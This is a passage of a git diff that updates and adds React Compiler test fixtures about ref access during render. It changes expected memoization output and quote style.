 // @validateRefAccessDuringRender
-import { useRef } from "react";
+import {useRef} from 'react';
 
 function Component() {
   const ref = useRef(null);
 
   const onClick = () => {
     if (ref.current !== null) {
-      ref.current.value = "";
+      ref.current.value = '';
     }
   };
 
@@ -36,7 +36,7 @@ import { c as _c } from "react/compiler-runtime"; // @validateRefAccessDuringRen
 import { useRef } from "react";
 
 function Component() {
-  const $ = _c(8);
+  const $ = _c(2);
   const ref = useRef(null);
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
@@ -51,36 +51,18 @@ function Component() {
   }
   const onClick = t0;
   let t1;
-  if ($[1] !== ref) {
-    t1 = <input ref={ref} />;
-    $[1] = ref;
-    $[2] = t1;
-  } else {
-    t1 = $[2];
-  }
-  let t2;
-  if ($[3] !== onClick) {
-    t2 = <button onClick={onClick} />;
-    $[3] = onClick;
-    $[4] = t2;
-  } else {
-    t2 = $[4];
-  }
-  let t3;
-  if ($[5] !== t1 || $[6] !== t2) {
-    t3 = (
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = (
       <>
-        {t1}
-        {t2}
+        <input ref={ref} />
+        <button onClick={onClick} />
       </>
     );
-    $[5] = t1;
-    $[6] = t2;
-    $[7] = t3;
+    $[1] = t1;
   } else {
-    t3 = $[7];
+    t1 = $[1];
   }
-  return t3;
+  return t1;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-property-in-callback-passed-to-jsx.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-property-in-callback-passed-to-jsx.tsx
index b9b7a2dd8e67..30a262d988cf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-property-in-callback-passed-to-jsx.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-property-in-callback-passed-to-jsx.tsx
@@ -1,12 +1,12 @@
 // @validateRefAccessDuringRender
-import { useRef } from "react";
+import {useRef} from 'react';
 
 function Component() {
   const ref = useRef(null);
 
   const onClick = () => {
     if (ref.current !== null) {
-      ref.current.value = "";
+      ref.current.value = '';
     }
   };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-ref-to-render-helper-props-object.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-ref-to-render-helper-props-object.expect.md
new file mode 100644
index 000000000000..f23ab16c16bd
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-ref-to-render-helper-props-object.expect.md
@@ -0,0 +1,45 @@
+
+## Input
+
+```javascript
+// @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender
+
+import {useRef} from 'react';
+
+function Component(props) {
+  const ref = useRef(null);
+
+  return <Foo>{props.render({ref})}</Foo>;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender
+
+import { useRef } from "react";
+
+function Component(props) {
+  const $ = _c(3);
+  const ref = useRef(null);
+
+  const T0 = Foo;
+  const t0 = props.render({ ref });
+  let t1;
+  if ($[0] !== T0 || $[1] !== t0) {
+    t1 = <T0>{t0}</T0>;
+    $[0] = T0;
+    $[1] = t0;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-ref-to-render-helper-props-object.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-ref-to-render-helper-props-object.js
new file mode 100644
index 000000000000..ab9ffe2ed37f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-ref-to-render-helper-props-object.js
@@ -0,0 +1,9 @@
+// @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender
+
+import {useRef} from 'react';
+
+function Component(props) {
+  const ref = useRef(null);
+
+  return <Foo>{props.render({ref})}</Foo>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-ref-to-render-helper.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-ref-to-render-helper.expect.md
new file mode 100644
index 000000000000..a0ad22fcaf41
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-ref-to-render-helper.expect.md
@@ -0,0 +1,49 @@
+
+## Input
+
+```javascript
+// @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender
+
+import {useRef} from 'react';
+
+function Component(props) {
+  const ref = useRef(null);
+
+  return <Foo>{props.render(ref)}</Foo>;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender
+
+import { useRef } from "react";
+
+function Component(props) {
+  const $ = _c(4);
+  const ref = useRef(null);
+  let t0;
+  if ($[0] !== props.render) {
+    t0 = props.render(ref);
+    $[0] = props.render;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  let t1;
+  if ($[2] !== t0) {
+    t1 = <Foo>{t0}</Foo>;
+    $[2] = t0;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  return t1;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-ref-to-render-helper.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-ref-to-render-helper.js
new file mode 100644
index 000000000000..7c5a70188fab
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-ref-to-render-helper.js
@@ -0,0 +1,9 @@
+// @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender
+
+import {useRef} from 'react';
+
+function Component(props) {
+  const ref = useRef(null);
+
+  return <Foo>{props.render(ref)}</Foo>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-refs-as-props.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-refs-as-props.expect.md
index 5c3926097612..7ec38df94be7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-refs-as-props.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-refs-as-props.expect.md
@@ -14,15 +14,14 @@ function Component(props) {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(2);
+  const $ = _c(1);
   const ref = useRef(null);
   let t0;
-  if ($[0] !== ref) {
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     t0 = <Foo ref={ref} />;
-    $[0] = ref;
-    $[1] = t0;
+    $[0] = t0;
   } else {
-    t0 = $[1];
+    t0 = $[0];
   }
   return t0;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-reassignment-to-global-function-jsx-prop.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-reassignment-to-global-function-jsx-prop.expect.md
index eaa2834a4971..60945024f25d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-reassignment-to-global-function-jsx-prop.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-reassignment-to-global-function-jsx-prop.expect.md
@@ -27,13 +27,9 @@ export const FIXTURE_ENTRYPOINT = {
 import { c as _c } from "react/compiler-runtime";
 function Component() {
   const $ = _c(1);
+  const onClick = _temp;
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    const onClick = () => {
-      someUnknownGlobal = true;
-      moduleLocal = true;
-    };
-
     t0 = <div onClick={onClick} />;
     $[0] = t0;
   } else {
@@ -41,6 +37,10 @@ function Component() {
   }
   return t0;
 }
+function _temp() {
+  someUnknownGlobal = true;
+  moduleLocal = true;
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-effect-indirect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-effect-indirect.expect.md
index 9e3ed885dcd7..6cf97f6c3515 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-effect-indirect.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-effect-indirect.expect.md
@@ -2,14 +2,14 @@
 ## Input
 
 ```javascript
-// @validateRefAccessDuringRender
-import { useCallback, useEffect, useRef, useState } from "react";
+// @validateRefAccessDuringRender @validateNoSetStateInRender:false
+import {useCallback, useEffect, useRef, useState} from 'react';
 
 function Component() {
   const ref = useRef(null);
   const [state, setState] = useState(false);
   const setRef = useCallback(() => {
-    ref.current = "Ok";
+    ref.current = 'Ok';
   }, []);
 
   useEffect(() => {
@@ -26,7 +26,8 @@ function Component() {
   return <Child key={String(state)} ref={ref} />;
 }
 
-function Child({ ref }) {
+function Child({ref}) {
+  'use no memo';
   // This violates the rules of React, so we access the ref in a child
   // component
   return ref.current;
@@ -42,11 +43,11 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @validateRefAccessDuringRender
+import { c as _c } from "react/compiler-runtime"; // @validateRefAccessDuringRender @validateNoSetStateInRender:false
 import { useCallback, useEffect, useRef, useState } from "react";
 
 function Component() {
-  const $ = _c(9);
+  const $ = _c(7);
   const ref = useRef(null);
   const [state, setState] = useState(false);
   let t0;
@@ -60,53 +61,50 @@ function Component() {
   }
   const setRef = t0;
   let t1;
-  if ($[1] !== setRef) {
+  let t2;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
     t1 = () => {
       setRef();
     };
-    $[1] = setRef;
-    $[2] = t1;
-  } else {
-    t1 = $[2];
-  }
-  let t2;
-  if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
     t2 = [];
-    $[3] = t2;
+    $[1] = t1;
+    $[2] = t2;
   } else {
-    t2 = $[3];
+    t1 = $[1];
+    t2 = $[2];
   }
   useEffect(t1, t2);
   let t3;
   let t4;
-  if ($[4] === Symbol.for("react.memo_cache_sentinel")) {
+  if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
     t3 = () => {
       setState(true);
     };
     t4 = [];
-    $[4] = t3;
-    $[5] = t4;
+    $[3] = t3;
+    $[4] = t4;
   } else {
-    t3 = $[4];
-    t4 = $[5];
+    t3 = $[3];
+    t4 = $[4];
   }
   useEffect(t3, t4);
 
   const t5 = String(state);
   let t6;
-  if ($[6] !== t5 || $[7] !== ref) {
+  if ($[5] !== t5) {
     t6 = <Child key={t5} ref={ref} />;
-    $[6] = t5;
-    $[7] = ref;
-    $[8] = t6;
+    $[5] = t5;
+    $[6] = t6;
   } else {
-    t6 = $[8];
+    t6 = $[6];
   }
   return t6;
 }
 
-function Child(t0) {
-  const { ref } = t0;
+function Child({ ref }) {
+  "use no memo";
+  // This violates the rules of React, so we access the ref in a child
+  // component
   return ref.current;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-effect-indirect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-effect-indirect.js
index 4eb5880801a2..4320b5871daf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-effect-indirect.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-effect-indirect.js
@@ -1,11 +1,11 @@
-// @validateRefAccessDuringRender
-import { useCallback, useEffect, useRef, useState } from "react";
+// @validateRefAccessDuringRender @validateNoSetStateInRender:false
+import {useCallback, useEffect, useRef, useState} from 'react';
 
 function Component() {
   const ref = useRef(null);
   const [state, setState] = useState(false);
   const setRef = useCallback(() => {
-    ref.current = "Ok";
+    ref.current = 'Ok';
   }, []);
 
   useEffect(() => {
@@ -22,7 +22,8 @@ function Component() {
   return <Child key={String(state)} ref={ref} />;
 }
 
-function Child({ ref }) {
+function Child({ref}) {
+  'use no memo';
   // This violates the rules of React, so we access the ref in a child
   // component
   return ref.current;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-effect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-effect.expect.md
index bea3896197fb..009d504da25b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-effect.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-effect.expect.md
@@ -3,13 +3,13 @@
 
 ```javascript
 // @validateRefAccessDuringRender
-import { useEffect, useRef, useState } from "react";
+import {useEffect, useRef, useState} from 'react';
 
 function Component() {
   const ref = useRef(null);
   const [state, setState] = useState(false);
   useEffect(() => {
-    ref.current = "Ok";
+    ref.current = 'Ok';
   }, []);
 
   useEffect(() => {
@@ -22,7 +22,8 @@ function Component() {
   return <Child key={String(state)} ref={ref} />;
 }
 
-function Child({ ref }) {
+function Child({ref}) {
+  'use no memo';
   // This violates the rules of React, so we access the ref in a child
   // component
   return ref.current;
@@ -42,7 +43,7 @@ import { c as _c } from "react/compiler-runtime"; // @validateRefAccessDuringRen
 import { useEffect, useRef, useState } from "react";
 
 function Component() {
-  const $ = _c(7);
+  const $ = _c(6);
   const ref = useRef(null);
   const [state, setState] = useState(false);
   let t0;
@@ -76,19 +77,20 @@ function Component() {
 
   const t4 = String(state);
   let t5;
-  if ($[4] !== t4 || $[5] !== ref) {
+  if ($[4] !== t4) {
     t5 = <Child key={t4} ref={ref} />;
     $[4] = t4;
-    $[5] = ref;
-    $[6] = t5;
+    $[5] = t5;
   } else {
-    t5 = $[6];
+    t5 = $[5];
   }
   return t5;
 }
 
-function Child(t0) {
-  const { ref } = t0;
+function Child({ ref }) {
+  "use no memo";
+  // This violates the rules of React, so we access the ref in a child
+  // component
   return ref.current;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-effect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-effect.js
index 4961c0f146f9..54a1dc22c3a6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-effect.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-effect.js
@@ -1,11 +1,11 @@
 // @validateRefAccessDuringRender
-import { useEffect, useRef, useState } from "react";
+import {useEffect, useRef, useState} from 'react';
 
 function Component() {
   const ref = useRef(null);
   const [state, setState] = useState(false);
   useEffect(() => {
-    ref.current = "Ok";
+    ref.current = 'Ok';
   }, []);
 
   useEffect(() => {
@@ -18,7 +18,8 @@ function Component() {
   return <Child key={String(state)} ref={ref} />;
 }
 
-function Child({ ref }) {
+function Child({ref}) {
+  'use no memo';
   // This violates the rules of React, so we access the ref in a child
   // component
   return ref.current;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-unused-callback-nested.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-unused-callback-nested.expect.md
index 334523b3a09e..26e996017ebd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-unused-callback-nested.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-unused-callback-nested.expect.md
@@ -3,14 +3,14 @@
 
 ```javascript
 // @validateRefAccessDuringRender
-import { useEffect, useRef, useState } from "react";
+import {useEffect, useRef, useState} from 'react';
 
 function Component() {
   const ref = useRef(null);
   const [state, setState] = useState(false);
   useEffect(() => {
     const callback = () => {
-      ref.current = "Ok";
+      ref.current = 'Ok';
     };
   }, []);
 
@@ -24,7 +24,8 @@ function Component() {
   return <Child key={String(state)} ref={ref} />;
 }
 
-function Child({ ref }) {
+function Child({ref}) {
+  'use no memo';
   // This violates the rules of React, so we access the ref in a child
   // component
   return ref.current;
@@ -44,52 +45,49 @@ import { c as _c } from "react/compiler-runtime"; // @validateRefAccessDuringRen
 import { useEffect, useRef, useState } from "react";
 
 function Component() {
-  const $ = _c(7);
+  const $ = _c(5);
   const ref = useRef(null);
   const [state, setState] = useState(false);
   let t0;
-  let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => {};
-
-    t1 = [];
+    t0 = [];
     $[0] = t0;
-    $[1] = t1;
   } else {
     t0 = $[0];
-    t1 = $[1];
   }
-  useEffect(t0, t1);
+  useEffect(_temp, t0);
+  let t1;
   let t2;
-  let t3;
-  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
-    t2 = () => {
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = () => {
       setState(true);
     };
-    t3 = [];
+    t2 = [];
+    $[1] = t1;
     $[2] = t2;
-    $[3] = t3;
   } else {
+    t1 = $[1];
     t2 = $[2];
-    t3 = $[3];
   }
-  useEffect(t2, t3);
+  useEffect(t1, t2);
 
-  const t4 = String(state);
-  let t5;
-  if ($[4] !== t4 || $[5] !== ref) {
-    t5 = <Child key={t4} ref={ref} />;
+  const t3 = String(state);
+  let t4;
+  if ($[3] !== t3) {
+    t4 = <Child key={t3} ref={ref} />;
+    $[3] = t3;
     $[4] = t4;
-    $[5] = ref;
-    $[6] = t5;
   } else {
-    t5 = $[6];
+    t4 = $[4];
   }
-  return t5;
+  return t4;
 }
+function _temp() {}
 
-function Child(t0) {
-  const { ref } = t0;
+function Child({ ref }) {
+  "use no memo";
+  // This violates the rules of React, so we access the ref in a child
+  // component
   return ref.current;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-unused-callback-nested.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-unused-callback-nested.js
index 1120cd13840b..dcd8540e2a4b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-unused-callback-nested.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-unused-callback-nested.js
@@ -1,12 +1,12 @@
 // @validateRefAccessDuringRender
-import { useEffect, useRef, useState } from "react";
+import {useEffect, useRef, useState} from 'react';
 
 function Component() {
   const ref = useRef(null);
   const [state, setState] = useState(false);
   useEffect(() => {
     const callback = () => {
-      ref.current = "Ok";
+      ref.current = 'Ok';
     };
   }, []);
 
@@ -20,7 +20,8 @@ function Component() {
   return <Child key={String(state)} ref={ref} />;
 }
 
-function Child({ ref }) {
+function Child({ref}) {
+  'use no memo';
   // This violates the rules of React, so we access the ref in a child
   // component
   return ref.current;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-initialization-undefined.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-initialization-undefined.expect.md
new file mode 100644
index 000000000000..c355819320af
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-initialization-undefined.expect.md
@@ -0,0 +1,42 @@
+
+## Input
+
+```javascript
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  if (r.current == undefined) {
+    r.current = 1;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { useRef } from "react";
+
+function C() {
+  const r = useRef(null);
+  if (r.current == undefined) {
+    r.current = 1;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) 
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-initialization-undefined.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-initialization-undefined.js
new file mode 100644
index 000000000000..886f025287bb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-initialization-undefined.js
@@ -0,0 +1,14 @@
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  if (r.current == undefined) {
+    r.current = 1;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-initialization.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-initialization.expect.md
new file mode 100644
index 000000000000..560cef900ffa
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-initialization.expect.md
@@ -0,0 +1,42 @@
+
+## Input
+
+```javascript
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  if (r.current == null) {
+    r.current = 1;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { useRef } from "react";
+
+function C() {
+  const r = useRef(null);
+  if (r.current == null) {
+    r.current = 1;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) 
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-initialization.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-initialization.js
new file mode 100644
index 000000000000..7c7c3d9cb90b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-initialization.js
@@ -0,0 +1,14 @@
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  if (r.current == null) {
+    r.current = 1;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-lazy-initialization-with-logical.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-lazy-initialization-with-logical.expect.md
new file mode 100644
index 000000000000..3540e842f67b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-lazy-initialization-with-logical.expect.md
@@ -0,0 +1,68 @@
+
+## Input
+
+```javascript
+// @validateRefAccessDuringRender
+
+import {useRef} from 'react';
+
+function Component(props) {
+  const ref = useRef(null);
+  if (ref.current == null) {
+    // the logical means the ref write is in a different block
+    // from the if consequent. this tests that the "safe" blocks
+    // extend up to the if's fallthrough
+    ref.current = props.unknownKey ?? props.value;
+  }
+  return <Child ref={ref} />;
+}
+
+function Child({ref}) {
+  'use no memo';
+  return ref.current;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validateRefAccessDuringRender
+
+import { useRef } from "react";
+
+function Component(props) {
+  const $ = _c(1);
+  const ref = useRef(null);
+  if (ref.current == null) {
+    ref.current = props.unknownKey ?? props.value;
+  }
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = <Child ref={ref} />;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+function Child({ ref }) {
+  "use no memo";
+  return ref.current;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 42 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) 42
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-lazy-initialization-with-logical.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-lazy-initialization-with-logical.js
new file mode 100644
index 000000000000..2e1b03a28dad
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-lazy-initialization-with-logical.js
@@ -0,0 +1,24 @@
+// @validateRefAccessDuringRender
+
+import {useRef} from 'react';
+
+function Component(props) {
+  const ref = useRef(null);
+  if (ref.current == null) {
+    // the logical means the ref write is in a different block
+    // from the if consequent. this tests that the "safe" blocks
+    // extend up to the if's fallthrough
+    ref.current = props.unknownKey ?? props.value;
+  }
+  return <Child ref={ref} />;
+}
+
+function Child({ref}) {
+  'use no memo';
+  return ref.current;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-type-cast-in-render.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-type-cast-in-render.expect.md
new file mode 100644
index 000000000000..ee7a71e8f8a9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-type-cast-in-render.expect.md
@@ -0,0 +1,59 @@
+
+## Input
+
+```javascript
+import {useRef} from 'react';
+
+function useArrayOfRef() {
+  const ref = useRef(null);
+  const callback = value => {
+    ref.current = value;
+  };
+  return [callback] as const;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: () => {
+    useArrayOfRef();
+    return 'ok';
+  },
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useRef } from "react";
+
+function useArrayOfRef() {
+  const $ = _c(1);
+  const ref = useRef(null);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    const callback = (value) => {
+      ref.current = value;
+    };
+    t0 = [callback];
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0 as const;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: () => {
+    useArrayOfRef();
+    return "ok";
+  },
+
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) "ok"
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-type-cast-in-render.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-type-cast-in-render.js
new file mode 100644
index 000000000000..2d0aafeffda4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-type-cast-in-render.js
@@ -0,0 +1,17 @@
+import {useRef} from 'react';
+
+function useArrayOfRef() {
+  const ref = useRef(null);
+  const callback = value => {
+    ref.current = value;
+  };
+  return [callback] as const;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: () => {
+    useArrayOfRef();
+    return 'ok';
+  },
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-access-assignment.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-access-assignment.expect.md
index 92da9b668447..2c6184553d89 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-access-assignment.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-access-assignment.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function Component({ a, b, c }) {
+function Component({a, b, c}) {
   const x = [a];
   const y = [null, b];
   const z = [[], [], [c]];
@@ -13,13 +13,13 @@ function Component({ a, b, c }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: 1, b: 20, c: 300 }],
+  params: [{a: 1, b: 20, c: 300}],
   sequentialRenders: [
-    { a: 2, b: 20, c: 300 },
-    { a: 3, b: 20, c: 300 },
-    { a: 3, b: 21, c: 300 },
-    { a: 3, b: 22, c: 300 },
-    { a: 3, b: 22, c: 301 },
+    {a: 2, b: 20, c: 300},
+    {a: 3, b: 20, c: 300},
+    {a: 3, b: 21, c: 300},
+    {a: 3, b: 22, c: 300},
+    {a: 3, b: 22, c: 301},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-access-assignment.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-access-assignment.js
index 3904dcf22855..e3d3015a14aa 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-access-assignment.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-access-assignment.js
@@ -1,4 +1,4 @@
-function Component({ a, b, c }) {
+function Component({a, b, c}) {
   const x = [a];
   const y = [null, b];
   const z = [[], [], [c]];
@@ -9,12 +9,12 @@ function Component({ a, b, c }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
